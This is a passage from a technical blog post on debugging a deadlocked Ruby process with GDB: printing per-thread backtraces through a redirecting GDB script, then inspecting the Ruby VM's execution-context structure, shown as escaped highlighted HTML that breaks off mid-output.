&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  2&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    Thread&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x7ff765f3f6c0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (LWP &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1993116&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;deadlocked.rb:6&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; 0x00007ff76aae24ae in &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () from /usr/lib/libc.so.6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  3&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    Thread&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x7ff765d3e6c0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (LWP &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1993117&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;deadlocked.rb:*&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; 0x00007ff76aae24ae in &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () from /usr/lib/libc.so.6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  4&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    Thread&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0x7ff765b3d6c0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (LWP &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1993118&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;deadlocked.rb:*&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; 0x00007ff76aae24ae in &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () from /usr/lib/libc.so.6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) thread 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[Switching to thread &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (Thread &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0x7ff765f3f6c0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (LWP &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1993116&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;))]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#0  0x00007ff76aae24ae in ?? () from /usr/lib/libc.so.6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_backtrace&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# In the first shell:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ./deadlocked.rb:9:in&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; in &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        from ./deadlocked.rb:9:in `lock&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can see how the second thread is waiting to acquire the lock for &lt;code&gt;mutex2&lt;/code&gt; at line 9, which, of course, it will never get but it does pinpoint where the program is becoming stuck.&lt;/p&gt;
&lt;p&gt;This is a bit tedious to do for every thread though, especially if you have more than just two. It&apos;s fairly easy to automate this process to get a backtrace for every thread, however. Let&apos;s modify the &lt;code&gt;stderr&lt;/code&gt; redirection from above and write it to a GDB script named &lt;code&gt;backtrace.gdb&lt;/code&gt; this time.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $old_stdout &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) dup(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $fd &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) creat(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;&quot;/tmp/backtrace.txt&quot;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0644&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) dup2($fd, 1)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $thread_list &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_thread_list&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $num_threads &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_num2long&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;rb_ary_length(rb_thread_list(&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $i &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; $num_threads&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_p&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;rb_thread_backtrace_m(0,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_ary_entry&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;($thread_list, $i++)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (int) dup2($old_stdout, 1)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (void) close($old_stdout)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (void) close($fd)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The changes to this script below are two fold:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Redirect &lt;code&gt;stdout&lt;/code&gt; rather than &lt;code&gt;stderr&lt;/code&gt; since we&apos;ll be calling &lt;code&gt;rb_p&lt;/code&gt; (Ruby&apos;s print function) which prints to &lt;code&gt;stdout&lt;/code&gt; now.&lt;/li&gt;
&lt;li&gt;Get every thread with &lt;code&gt;rb_thread_list&lt;/code&gt; and for each thread call &lt;code&gt;rb_thread_backtrace_m&lt;/code&gt; to print a backtrace for that thread in particular.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Running it:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gdb&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;pgrep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby`&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; -x&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; backtrace.gdb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;quit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; /tmp/backtrace.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./deadlocked.rb:21:in `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&apos;&quot;, &quot;./deadlocked.rb:21:in `&amp;#x3C;main&gt;&apos;&quot;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;[&quot;./deadlocked.rb:9:in&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `lock&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./deadlocked.rb:9:in `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; in &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&quot;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;[&quot;./deadlocked.rb:15:in `lock&apos;&quot;, &quot;./deadlocked.rb:15:in `block in &amp;#x3C;main&gt;&apos;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./deadlocked.rb:19:in `&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sleep&apos;&quot;, &quot;./deadlocked.rb:19:in `block in &amp;#x3C;main&gt;&apos;&quot;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Great! We can see above how each thread has a backtrace printed out in an array format and exactly where each of them are hung.&lt;/p&gt;
&lt;h2&gt;Into the VM&lt;/h2&gt;
&lt;p&gt;Everything above should be sufficient for all practical purposes. But if you&apos;ve come this far you may be interested in exploring the Ruby VM a bit more while we&apos;re in here. For instance, those backtraces, how does Ruby track what it&apos;s currently executing in order to generate a backtrace and how can we peek into those data structures of a running process ourselves?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It&apos;s worth noting everything beyond this point is not necessarily practical per se; it&apos;s primarily academic but still quite interesting to those curious about Ruby internals. Everything below targets Ruby 3.2.2 as well (the current version of MRI at the time of this writing).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There are various blog posts from prior to circa 2017 that demonstrate how to get reach into Ruby&apos;s internal data structures by use of a global variable named &lt;code&gt;ruby_current_thread&lt;/code&gt;. However, evidently this was &lt;a href=&quot;https://github.com/ruby/ruby/commit/837fd5e494731d7d44786f29e7d6e8c27029806f&quot;&gt;removed in Ruby 2.5.0&lt;/a&gt;. Instead, from Ruby 2.5.0 to at least 3.2.2 (at the time of this writing), &lt;code&gt;ruby_current_ec&lt;/code&gt; is the new variable to use for this purpose.&lt;/p&gt;
&lt;p&gt;What is &lt;code&gt;ec&lt;/code&gt; though? &lt;code&gt;ec&lt;/code&gt; stands for &lt;code&gt;execution_context&lt;/code&gt; and holds the data related to whatever Ruby is executing at a given point in time. This includes the call stack, control frame pointer, thread pointer, fiber pointer, and more. The &lt;a href=&quot;https://github.com/ruby/ruby/blob/v3_2_2/vm_core.h#L904&quot;&gt;&lt;code&gt;rb_execution_context_struct&lt;/code&gt; definition&lt;/a&gt; has the full list of fields, but the short of it is that everything we&apos;re interested in is located in this data structure either directly or through a pointer to another data structure.&lt;/p&gt;
&lt;p&gt;Let&apos;s take a look at what this looks like for the &lt;code&gt;sleep.rb&lt;/code&gt; script from above (protip: use &lt;code&gt;set print pretty on&lt;/code&gt; in GDB for easier to read outputs here):&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby_current_ec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = (&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; rb_execution_context_struct&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) 0x5571d51461c0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# `ruby_current_ec` is a pointer so in order to print the data it points to we need to tell GDB to dereference the pointer with the dereference operator&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;ruby_current_ec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  vm_stack&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f2316230010,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  vm_stack_size&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 131072,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  cfp&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7f231632fed0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  tag&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7ffd5b32c250,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  interrupt_flag&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  interrupt_mask&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  fiber_ptr&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x5571d5146170,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  thread_ptr&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x5571d5145040,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  local_storage&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  local_storage_recursive_hash&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 139788682901840,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  local_storage_recursive_hash_for_trace&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 4,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  storage&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 4,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  root_lep&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  root_svar&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  ensure_list&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  trace_arg&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  errinfo&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 4,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  passed_block_handler&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  raised_flag&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;\000&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  method_missing_reason&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; MISSING_NOENTRY,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  private_const_reference&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  machine&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    stack_start&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7ffd5b32d000,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    stack_end&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x7ffd5b32bf50,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    stack_maxsize&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 8372224,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    regs&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        __jmpbuf&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {93947394543840,&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -6100235198789993538,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 93947394543680,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 93947394547664,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 139788684347000,&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -122019239599424578,&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -3910558443652162&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        __mask_was_saved&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;        __saved_mask&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
